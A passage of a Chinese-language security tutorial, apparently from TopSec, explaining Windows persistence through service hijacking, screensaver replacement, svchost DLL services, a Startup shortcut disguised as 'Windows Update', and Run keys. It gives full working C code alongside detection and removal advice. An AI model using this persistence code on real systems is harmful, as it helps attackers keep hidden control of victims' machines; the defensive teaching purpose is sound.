運行后的注冊表鍵值情況如下圖所示:

檢查及清除方法
檢查以下2個注冊表路徑中的“Shell”、“Userinit”、“Notify”等鍵值是否存在不明來歷的程序路徑
1) HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\
2) HKCU\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\
關鍵鍵值如下圖所示:
1)Winlogon\Notify – 默認指向處理Winlogon事件的通知包DLL
2)Winlogon\Userinit – 默認指向userinit.exe,即用戶登錄時執行的用戶初始化程序
3)Winlogon\Shell – 默認指向explorer.exe,即用戶登錄時執行的系統shell
篡改服務進程
原理及代碼介紹
Windows服務的配置信息存儲在注冊表中,一個服務項有許多鍵值,想要修改現有服務,就要了解服務中的鍵值代表的功能。
“DisplayName”,字符串值,對應服務名稱;
“Description”,字符串值,對應服務描述;
“ImagePath”,字符串值,對應該服務程序所在的路徑;
“ObjectName”,字符串值,值為“LocalSystem”,表示本地登錄;
“ErrorControl”,DWORD值,值為“1”;
“Start”,DWORD值,值為2表示自動運行,值為3表示手動運行,值為4表示禁止;
“Type”,DWORD值,應用程序對應10,其他對應20。
在這里,我們只需要注意“ImagePath”,“Start”,“Type”三個鍵值,“ImagePath”修改為自己的程序路徑,“Start”改為2,自動運行,“Type”改為10應用程序。
接下來就要選擇一個服務,在這里,我們選擇的服務是“COMSysApp”,本身“Type”為10。
修改鍵值的代碼如下:
HKEY hKey;
DWORD dwDisposition;
DWORD dwData = 2;
const char system[] = "C:\\SeviceTopSec.exe";//hello.exe
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\services\\COMSysApp", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "ImagePath", 0, REG_EXPAND_SZ, (BYTE*)system, (1 + ::lstrlenA(system))))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "Start", 0, REG_DWORD, (BYTE*)& dwData, sizeof(DWORD)))
{
return 0;
}
return 0;
但是“ImagePath”中的程序并不是普通的程序,需要用到一些特定的API,完成服務的創建流程。
總的來說,一個遵守服務控制管理程序接口要求的程序包含下面三個函數:
服務程序主函數(main):調用系統函數 StartServiceCtrlDispatcher 連接程序主線程到服務控制管理程序。
服務入口點函數(ServiceMain):執行服務初始化任務,同時執行多個服務的服務進程有多個服務入口函數。
控制服務處理程序函數(Handler):在服務程序收到控制請求時由控制分發線程引用。
服務程序代碼如下:
HANDLE hServiceThread;
void KillService();
char* strServiceName = "sev_topsec";
SERVICE_STATUS_HANDLE nServiceStatusHandle;
HANDLE killServiceEvent;
BOOL nServiceRunning;
DWORD nServiceCurrentStatus;
void main(int argc, char* argv[])
{
SERVICE_TABLE_ENTRYA ServiceTable[] =
{
{strServiceName,(LPSERVICE_MAIN_FUNCTIONA)ServiceMain},
{NULL,NULL}
};
BOOL success;
success = StartServiceCtrlDispatcherA(ServiceTable);
if (!success)
{
printf("fialed!");
}
}
void ServiceMain(DWORD argc, LPTSTR* argv)
{
BOOL success;
nServiceStatusHandle = RegisterServiceCtrlHandlerA(strServiceName,
(LPHANDLER_FUNCTION)ServiceCtrlHandler);
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 1, 3000);
killServiceEvent = CreateEvent(0, TRUE, FALSE, 0);
if (killServiceEvent == NULL)
{
return;
}
success = ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 0, 2, 1000);
success = InitThread();
nServiceCurrentStatus = SERVICE_RUNNING;
success = ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0, 0, 0);
WaitForSingleObject(killServiceEvent, INFINITE);
CloseHandle(killServiceEvent);
}
BOOL ReportStatusToSCMgr(DWORD dwCurrentState, DWORD dwWin32ExitCode,DWORD dwServiceSpecificExitCode, DWORD dwCheckPoint,DWORD dwWaitHint)
{
BOOL success;
SERVICE_STATUS nServiceStatus;
nServiceStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
nServiceStatus.dwCurrentState = dwCurrentState;
//
if (dwCurrentState == SERVICE_START_PENDING)
{
nServiceStatus.dwControlsAccepted = 0;
}
else
{
nServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP
| SERVICE_ACCEPT_SHUTDOWN;
}
if (dwServiceSpecificExitCode == 0)
{
nServiceStatus.dwWin32ExitCode = dwWin32ExitCode;
}
else
{
nServiceStatus.dwWin32ExitCode = ERROR_SERVICE_SPECIFIC_ERROR;
}
nServiceStatus.dwServiceSpecificExitCode = dwServiceSpecificExitCode;
//
nServiceStatus.dwCheckPoint = dwCheckPoint;
nServiceStatus.dwWaitHint = dwWaitHint;
success = SetServiceStatus(nServiceStatusHandle, &nServiceStatus);
if (!success)
{
KillService();
return success;
}
else
return success;
}
BOOL InitThread()
{
DWORD id;
hServiceThread = CreateThread(0, 0,
(LPTHREAD_START_ROUTINE)OutputString,
0, 0, &id);
if (hServiceThread == 0)
{
return false;
}
else
{
nServiceRunning = true;
return true;
}
}
DWORD OutputString(LPDWORD param)
{
OutputDebugString(L"Hello TopSec\n");
return 0;
}
void KillService()
{
nServiceRunning = false;
SetEvent(killServiceEvent);
ReportStatusToSCMgr(SERVICE_STOPPED, NO_ERROR, 0, 0, 0);
}
void ServiceCtrlHandler(DWORD dwControlCode)
{
BOOL success;
switch (dwControlCode)
{
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
nServiceCurrentStatus = SERVICE_STOP_PENDING;
success = ReportStatusToSCMgr(SERVICE_STOP_PENDING, NO_ERROR, 0, 1, 3000);
KillService();
return;
default:
break;
}
ReportStatusToSCMgr(nServiceCurrentStatus, NO_ERROR, 0, 0, 0);
}
運行效果圖
先修改注冊表中的鍵值

重啟“COMSysApp“服務

發現在DebugView中打印出字符串。
在任務管理器中點擊轉到進程,發現我們自己寫的服務程序正在運行

檢查及清除方法
-
檢查注冊表中與已知程序無關的注冊表項的更改
-
檢查已知服務的異常進程調用樹。
替換屏幕保護程序
原理及代碼介紹
屏幕保護是為了保護顯示器而設計的一種專門的程序。當時設計的初衷是為了防止電腦因無人操作而使顯示器長時間顯示同一個畫面,導致老化而縮短顯示器壽命。用戶在一定時間內不活動鼠標鍵盤之后會執行屏幕保護程序,屏保程序為具有.scr文件擴展名的可執行文件(PE)。
攻擊者可以通過將屏幕保護程序設置為在用戶鼠標鍵盤不活動的一定時間段之后運行惡意軟件,也就是利用屏幕保護程序設置來維持后門的持久性。
屏幕保護程序的配置信息存儲在在注冊表中,路徑為HKCU\Control Panel\Desktop,我們也可以通過改寫關鍵鍵值來實現后門持久:
SCRNSAVE.EXE - 設置為惡意PE路徑
ScreenSaveActive - 設置為“1”以啟用屏幕保護程序
ScreenSaverIsSecure - 設置為“0”,不需要密碼即可解鎖
ScreenSaverTimeout - 指定在屏幕保護程序啟動之前系統保持空閑的時間。
更具體的信息,可以查看微軟對相關注冊表項的說明頁面, 點擊此處。
如下的代碼演示了如何通過屏保程序來實現后門持久化:
BOOL add_to_screensaver()
{
BOOL ret = FALSE;
LONG rcode = NULL;
DWORD key_value_type;
BYTE shell_value_buffer[MAX_PATH * 2];
DWORD value_buffer_size = sizeof(shell_value_buffer) ;
HKEY desktop_key = NULL;
DWORD set_value_size;
BYTE set_buffer[MAX_PATH];
rcode = RegOpenKeyEx(HKEY_CURRENT_USER, _TEXT("Control Panel\\Desktop"),
NULL, KEY_ALL_ACCESS, &desktop_key);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveActive"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
//找不到指定的鍵值,說明未開啟屏保功能。
if (rcode == 0x2)
{
//設置待啟動程序路徑
lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//設置啟動時間,60秒無鼠標鍵盤活動后啟動屏保
lstrcpy((TCHAR*)set_buffer, _TEXT("60"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//開啟屏保功能
lstrcpy((TCHAR*)set_buffer, _TEXT("1"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
else
{
goto ERROR_EXIT;
}
}
else
{
//有鍵值存在,已開啟屏幕保護功能,需要保存原設置,駐留程序按實際情況啟動原屏保
if(lstrcmp(_TEXT("1"), (TCHAR*)shell_value_buffer) == NULL)
{
//讀取原值并保存
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT("SCRNSAVE.EXE"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if(rcode != ERROR_SUCCESS && rcode != 0x2)
{
goto ERROR_EXIT;
}
//當ScreenSaveActive值為1 而又不存在SCRNSAVE.EXE時,不備份。
if(rcode != 0x2)
{
rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE.BAK"), NULL, REG_SZ, shell_value_buffer, value_buffer_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
//改為待啟動程序
lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//判斷是否有配置屏保啟動時間
value_buffer_size = sizeof(shell_value_buffer);
rcode = RegQueryValueEx(desktop_key,_TEXT("ScreenSaveTimeOut"), NULL, &key_value_type, shell_value_buffer, &value_buffer_size);
if(rcode != ERROR_SUCCESS && rcode == 0x2)
{
//設置啟動時間,60秒無鼠標鍵盤活動后啟動屏保
lstrcpy((TCHAR*)set_buffer, _TEXT("60"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
}
else if(lstrcmp(_TEXT("0"), (TCHAR*)shell_value_buffer) == NULL)
{
//該值為0,未開啟屏幕保護功能
//設置待啟動程序路徑
lstrcpy((TCHAR*)set_buffer, _TEXT("C:\\topsec.exe"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("SCRNSAVE.EXE"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//設置啟動時間,60秒無鼠標鍵盤活動后啟動屏保
lstrcpy((TCHAR*)set_buffer, _TEXT("60"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveTimeOut"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
//開啟屏保功能
lstrcpy((TCHAR*)set_buffer, _TEXT("1"));
set_value_size = lstrlen((TCHAR*)set_buffer) * sizeof(TCHAR) + sizeof(TCHAR);
rcode = RegSetValueEx(desktop_key, _TEXT("ScreenSaveActive"), NULL, REG_SZ, set_buffer, set_value_size);
if (rcode != ERROR_SUCCESS)
{
goto ERROR_EXIT;
}
}
}
ret = TRUE;
ERROR_EXIT:
if (desktop_key != NULL)
{
RegCloseKey(desktop_key);
desktop_key = NULL;
}
return ret;
}
其中topsec.exe 代碼如下:
#include "stdafx.h"
#include <Windows.h>
#include <tchar.h>
int _tmain(int argc, _TCHAR* argv[])
{
int i = 10000;
while(i)
{
i--;
Sleep(1000);
OutputDebugString(_TEXT("Hello Topsec!!!"));
}
return 0;
}
運行效果圖
當該用戶因鼠標鍵盤未操作觸發屏保程序運行,我們的程序就被啟動了,運行后的效果及注冊表鍵值情況如下圖所示:

檢查及清除方法
1、 檢查注冊表路徑HKCU\Control Panel\Desktop,刪除包含來歷不明的屏保程序配置信息。
2、 通過組策略以強制用戶使用專用的屏幕保護程序,或者是通過組策略完全禁用屏保功能。
創建新服務
原理及代碼介紹
在Windows上還有一個重要的機制,也就是服務。服務程序通常默默的運行在后臺,且擁有SYSTEM權限,非常適合用于后門持久化。我們可以將EXE文件注冊為服務,也可以將DLL文件注冊為服務,本文這一部分將以DLL類型的服務為例,介紹安裝及檢查的思路。
相信不論是安全從業者還是普通用戶都聽說過svchost 進程,系統中存在不少Svchost進程,有的還會占用很高的cpu,究竟這個Svchost是何方神圣?是惡意代碼還是正常程序?相信不少人用戶發出過這樣的疑問。實際上Svchost是一個正常的系統程序,只不過他是DLL類型服務的外殼程序,容易被惡意代碼所利用。
Service Host (Svchost.exe) 是共享服務進程,作為DLL文件類型服務的外殼,由Svchost程序加載指定服務的DLL文件。 在Windows 10 1703 以前,不同的共享服務會組織到關聯的Service host組中,每個組運行在不同的Service Host進程中。這樣如果一個Service Host發生問題不會影響其他的Service Host。Windows通過將服務與匹配的安全性要求相結合,來確定Service Host Groups,一部分默認的組名如下:
· Local Service
· Local Service No Network
· Local Service Network Restricted
· Local System
· Local System Network Restricted
· Network Service
而從Windows 10 Creators Update(版本1703)開始,先前分組的服務將被分開,每個服務將在其自己的SvcHost Host進程中運行。對于運行Client Desktop SKU的RAM 超過3.5 GB的系統,此更改是自動的。在具有3.5 GB或更少內存的系統上,將繼續將服務分組到共享的SvcHost進程中。
此設計更改的好處包括:
· 通過將關鍵網絡服務與主機中的其他非網絡服務的故障隔離,并在網絡組件崩潰時添加無縫恢復網絡連接的能力,提高了可靠性。
· 通過消除與隔離共享主機中的行為不當服務相關的故障排除開銷,降低了支持成本。
· 通過提供額外的服務間隔離來提高安全性
· 通過允許每項服務設置和權限提高可擴展性
· 通過按服務CPU,I / O和內存管理改進資源管理,并增加清晰的診斷數據(報告每個服務的CPU,I / O和網絡使用情況)。
在系統啟動時,Svchost.exe會檢查注冊表以確定應加載哪些服務,注冊表路徑如下:HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost .在筆者的電腦上,如下圖:

而在注冊表HKLM\SYSTEM\CurrentControlSet\Services,保存著注冊服務的相關信息,以netsvcs組中的AeLoookupSvc為例,我們看一下相關信息:

該路徑下保存了服務的ImagePath、Description、DisplayName等信息,當然還包含一些服務的其他配置,這里不一一列舉。如下的代碼演示了如何添加一個利用Svchost啟動的DLL共享服務。
BOOL search_svchost_service_name(TCHAR* service_name_buffer, PDWORD buffer_size)
{
BOOL bRet = FALSE;
int rc = 0;
HKEY hkRoot;
BYTE buff[2048];
TCHAR* ptr = NULL;
DWORD type;
DWORD size = sizeof(buff);
int i = 0;
bool bExist = false;
TCHAR tmp_service_name[50];
TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
return NULL;
}
rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
RegCloseKey(hkRoot);
return NULL;
}
do
{
wsprintf(tmp_service_name, _TEXT("netsvcs_0x%d"), i);
for(ptr = (TCHAR*)buff; *ptr; ptr = _tcschr(ptr, 0)+1)
{
if (lstrcmpi(ptr, tmp_service_name) == 0)
{
bExist = true;
break;
}
}
if (bExist == false)
{
break;
}
bExist = false;
i++;
} while(1);
memcpy(buff + size - sizeof(TCHAR), tmp_service_name, lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));
rc = RegSetValueEx(hkRoot, _TEXT("netsvcs"), 0, REG_MULTI_SZ, buff, size + lstrlen(tmp_service_name) * sizeof(TCHAR) + sizeof(TCHAR));
if(ERROR_SUCCESS != rc)
{
goto ERROE_EXIT;
}
if (bExist == false)
{
lstrcpyn(service_name_buffer, tmp_service_name, *buffer_size);
*buffer_size =lstrlen(service_name_buffer);
}
bRet = TRUE;
ERROE_EXIT:
if (hkRoot != NULL)
{
RegCloseKey(hkRoot);
hkRoot = NULL;
}
return bRet;
}
BOOL install_service(LPCTSTR full_dll_path, TCHAR* service_name_buffer, PDWORD buffer_size)
{
BOOL bRet = FALSE;
int rc = 0;
HKEY hkRoot = HKEY_LOCAL_MACHINE;
HKEY hkParam = 0;
SC_HANDLE hscm = NULL;
SC_HANDLE schService = NULL;
TCHAR strModulePath[MAX_PATH];
TCHAR strSysDir[MAX_PATH];
DWORD dwStartType = 0;
BYTE buff[1024];
DWORD type;
DWORD size = sizeof(buff);
TCHAR* binary_path = _TEXT("%SystemRoot%\\System32\\svchost.exe -k netsvcs");
TCHAR* ptr;
TCHAR* pSvchost = _TEXT("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
rc = RegOpenKeyEx(hkRoot, pSvchost, 0, KEY_QUERY_VALUE, &hkRoot);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
rc = RegQueryValueEx(hkRoot, _TEXT("netsvcs"), 0, &type, buff, &size);
RegCloseKey(hkRoot);
SetLastError(rc);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
//install service
hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (hscm == NULL)
{
goto ERROR_EXIT;
}
if(!search_svchost_service_name(service_name_buffer, buffer_size))
{
goto ERROR_EXIT;
}
schService = CreateService(
hscm, // SCManager database
service_name_buffer, // name of service
service_name_buffer, // service name to display
SERVICE_ALL_ACCESS, // desired access
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, // start type
SERVICE_ERROR_NORMAL, // error control type
binary_path, // service's binary
NULL, // no load ordering group
NULL, // no tag identifier
NULL, // no dependencies
NULL, // LocalSystem account
NULL); // no password
dwStartType = SERVICE_WIN32_OWN_PROCESS;
if (schService == NULL)
{
goto ERROR_EXIT;
}
CloseServiceHandle(schService);
CloseServiceHandle(hscm);
//config service
hkRoot = HKEY_LOCAL_MACHINE;
lstrcpy((TCHAR*)buff, _TEXT("SYSTEM\\CurrentControlSet\\Services\\"));
lstrcat((TCHAR*)buff, service_name_buffer);
rc = RegOpenKeyEx(hkRoot, (TCHAR*)buff, 0, KEY_ALL_ACCESS, &hkRoot);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
rc = RegCreateKey(hkRoot, _TEXT("Parameters"), &hkParam);
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
rc = RegSetValueEx(hkParam, _TEXT("ServiceDll"), 0, REG_EXPAND_SZ, (PBYTE)full_dll_path, lstrlen(full_dll_path) * sizeof(TCHAR) + sizeof(TCHAR));
if(ERROR_SUCCESS != rc)
{
goto ERROR_EXIT;
}
bRet = TRUE;
ERROR_EXIT:
if(hkParam != NULL)
{
RegCloseKey(hkParam);
hkParam = NULL;
}
if(schService != NULL)
{
CloseServiceHandle(schService);
schService = NULL;
}
if(hscm != NULL)
{
CloseServiceHandle(hscm);
hscm = NULL;
}
return bRet;
}
void start_service(LPCTSTR lpService)
{
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
if ( NULL != hSCManager )
{
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
if ( NULL != hService )
{
StartService(hService, 0, NULL);
CloseServiceHandle( hService );
}
CloseServiceHandle( hSCManager );
}
}
BOOL add_to_service()
{
//
BOOL bRet = FALSE;
DWORD service_name_size;
TCHAR service_name[MAXBYTE * 2];
service_name_size = sizeof(service_name) / sizeof(TCHAR);
if(install_service(_TEXT("C:\\service.dll"),service_name, &service_name_size))
{
start_service(service_name);
_tprintf(_TEXT("install service successful!!!"));
bRet= TRUE;
}
else
{
_tprintf(_TEXT("can not install service!!!"));
}
return bRet;
}
而服務DLL也需要滿足一定的格式,該服務必須導出ServiceMain()函數并調用RegisterServiceCtrlHandlerEx()函數注冊Service Handler,具體的服務DLL的代碼如下如下
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
SERVICE_STATUS_HANDLE g_service_status_handle = NULL;
SERVICE_STATUS g_service_status =
{
SERVICE_WIN32_SHARE_PROCESS,
SERVICE_START_PENDING,
SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE
};
DWORD WINAPI ServiceHandler(DWORD dwControl,DWORD dwEventType,LPVOID lpEventData,LPVOID lpContext)
{
switch (dwControl)
{
case SERVICE_CONTROL_STOP:
case SERVICE_CONTROL_SHUTDOWN:
g_service_status.dwCurrentState = SERVICE_STOPPED;
break;
case SERVICE_CONTROL_PAUSE:
g_service_status.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
g_service_status.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
};
SetServiceStatus(g_service_status_handle, &g_service_status);
return NO_ERROR;
}
extern "C" __declspec(dllexport) VOID WINAPI ServiceMain(DWORD dwArgc,LPCTSTR* lpszArgv)
{
g_service_status_handle = RegisterServiceCtrlHandlerEx(_TEXT("Svchost Service"), ServiceHandler, NULL);
if (!g_service_status_handle)
{
return;
}
g_service_status.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus(g_service_status_handle, &g_service_status);
while(TRUE)
{
Sleep(1000);
OutputDebugString(_TEXT("Hello Topsec In Svchost"));
}
return;
};
運行效果圖
運行樣本文件后,服務被創建起來,在后臺穩定運行中。

檢查及清除方法
1、 監控新服務的創建,檢查新服務的關鍵信息,如ImagePath,對文件進行驗證。禁止不明來源服務的安裝行為
2、 使用Sysinternals Autoruns工具檢查已有的服務,并驗證服務模塊的合法性。如驗證是否有文件簽名、簽名是否正常。可以使用AutoRuns工具刪除不安全的服務

啟動項
原理及代碼介紹
啟動項,就是開機的時候系統會在前臺或者后臺運行的程序。設置啟動項的方式分為兩種:1. Startup文件夾
文件快捷方式是一種用戶界面中的句柄,它允許用戶找到或使用位于另一個目錄或文件夾的一個文件或資源,快捷方式還可能額外指定命令行參數,從而在運行它時將所定參數傳遞到目標程序。
Startup文件夾是Windows操作系統中的功能,它使用戶能夠在Windows啟動時自動運行指定的程序集。在不同版本的Windows中,啟動文件夾的位置可能略有不同。任何需要在系統啟動時自動運行的程序都必須存儲為此文件夾中的快捷方式。
攻擊者可以通過在Startup目錄建立快捷方式以執行其需要持久化的程序。他們可以創建一個新的快捷方式作為間接手段,可以使用偽裝看起來像一個合法的程序。攻擊者還可以編輯目標路徑或完全替換現有快捷方式,以便執行其工具而不是預期的合法程序。
如下的代碼演示了在Startup目錄建立快捷方式來實現后門持久化:
BOOL add_to_lnkfile()
{
BOOL ret = FALSE;
HRESULT hcode;
TCHAR startup_path[MAX_PATH];
TCHAR save_path[MAX_PATH*2];
TCHAR command[MAXBYTE * 2];
IShellLink* shelllnk = NULL;
IPersistFile* pstfile = NULL;
hcode = CoInitialize(NULL);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = CoCreateInstance(CLSID_ShellLink, NULL, CLSCTX_INPROC_SERVER, IID_IShellLink, (void**)&shelllnk);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = shelllnk->QueryInterface(IID_IPersistFile,(void**)&pstfile);
if (hcode != S_OK)
{
goto Error_Exit;
}
//設置快捷方式命令
wsprintf(command, _TEXT("C:\\windows\\system32\\rundll32.exe"));
hcode = shelllnk->SetPath(command);
if (hcode != S_OK)
{
MessageBox(NULL, command, command,MB_OK);
goto Error_Exit;
}
wsprintf(command, _TEXT(" %s %s"), _TEXT("c:\\topsec.dll"), _TEXT("RunProc"));
hcode = shelllnk->SetArguments(command);
if (hcode != S_OK)
{
goto Error_Exit;
}
wsprintf(command, _TEXT("%s"), _TEXT("This is For Windows Update!!!"));
hcode = shelllnk->SetDescription(command);
if (hcode != S_OK)
{
goto Error_Exit;
}
hcode = shelllnk->SetWorkingDirectory(_TEXT("c:\\"));
if (hcode != S_OK)
{
goto Error_Exit;
}
//獲取啟動目錄
if(SHGetSpecialFolderPath(NULL, startup_path, CSIDL_STARTUP, FALSE) == FALSE)
{
goto Error_Exit;
}
wsprintf(save_path, _TEXT("%s\\%s"), startup_path, _TEXT("Windows Update.Lnk"));
hcode = pstfile->Save(save_path, TRUE);
if (hcode != S_OK)
{
goto Error_Exit;
}
ret = TRUE;
Error_Exit:
if (shelllnk != NULL)
{
shelllnk->Release();
shelllnk = NULL;
}
if (pstfile != NULL)
{
pstfile->Release();
pstfile = NULL;
}
CoUninitialize();
return ret;
}
從資源中釋放文件的代碼如下:
BOOL ReleaseFile(LPTSTR resource_type, LPTSTR resource_name, LPCTSTR save_path)
{
BOOL ret = FALSE;
DWORD cb = NULL;
HRSRC h_resource = NULL;
DWORD resource_size = NULL;
LPVOID resource_pt = NULL;
HGLOBAL h_resource_load = NULL;
HANDLE save_file = NULL;
h_resource = FindResource(NULL, resource_name, resource_type);
if (NULL == h_resource)
{
goto Error_Exit;
}
resource_size = SizeofResource(NULL, h_resource);
if (0 >= resource_size)
{
goto Error_Exit;
}
h_resource_load = LoadResource(NULL, h_resource);
if (NULL == h_resource_load)
{
goto Error_Exit;
}
resource_pt = LockResource(h_resource_load);
if (NULL == resource_pt)
{
goto Error_Exit;
}
save_file = CreateFile(save_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(save_file == INVALID_HANDLE_VALUE)
{
goto Error_Exit;
}
for (DWORD i = 0; i < resource_size; i++)
{
if ((WriteFile(save_file,(PBYTE)resource_pt + i, sizeof(BYTE), &cb, NULL) == FALSE) ||
(sizeof(BYTE) != cb))
{
goto Error_Exit;
}
}
ret = TRUE;
Error_Exit:
if (h_resource_load != NULL)
{
FreeResource(h_resource_load);
h_resource_load = NULL;
}
if (h_resource != NULL)
{
CloseHandle(h_resource);
h_resource = NULL;
}
return ret;
}
2.Run注冊表項
默認情況下,在Windows系統上創建下列運行鍵:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
這個HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx也可用,但在WindowsVista和更新版本上默認不創建。
只需挑選其中一項修改就可以,下面代碼以HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run為例:
#include <iostream>
#include<windows.h>
int main()
{
//HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY hKey;
DWORD dwDisposition;
const char path[] = "C:\\HelloTopSec.exe";//hello.exe
if (ERROR_SUCCESS != RegCreateKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition))
{
return 0;
}
if (ERROR_SUCCESS != RegSetValueExA(hKey, "hello", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))))
{
return 0;
}
return 0;
}
運行效果圖
在Startup目錄的快捷方式會在系統啟動的時候被執行

HelloTopSec.exe在系統啟動的時候被執行

檢查及清除方法
1、 檢查所有位于Startup目錄的快捷方式,刪除有不明來源的快捷方式
2、 由于快捷方式的目標路徑可能不會改變,因此對與已知軟件更改,修補程序,刪除等無關的快捷方式文件的修改都可能是可疑的。
3、 檢查注冊表項的更改。
WMI事件過濾
原理及代碼介紹
Windows管理規范(Windows Management Instrumentation,縮寫WMI)由一系列對Windows Driver Model的擴展組成,它通過儀器組件提供信息和通知,提供了一個操作系統的接口。從攻擊者或防御者的角度來看,WMI最強大的功能之一是WMI能夠響應WMI事件。 除了少數例外,WMI事件可用于響應幾乎任何操作系統事件。 例如,WMI事件可用于在進程創建時觸發事件。 然后,可以將此機制用作在任何Windows操作系統上執行命令行指令。 有兩類WMI事件,在單個進程的上下文中本地運行的事件和永久WMI事件過濾。 本地事件持續主機進程的生命周期,而永久WMI事件存儲在WMI存儲庫中,以SYSTEM身份運行,并在重新引導后保持不變。據各安全廠商披露,有不少APT組織使用這種技術來維持后門持久性,如何防御WMI攻擊值得安全研究人員進行了解。
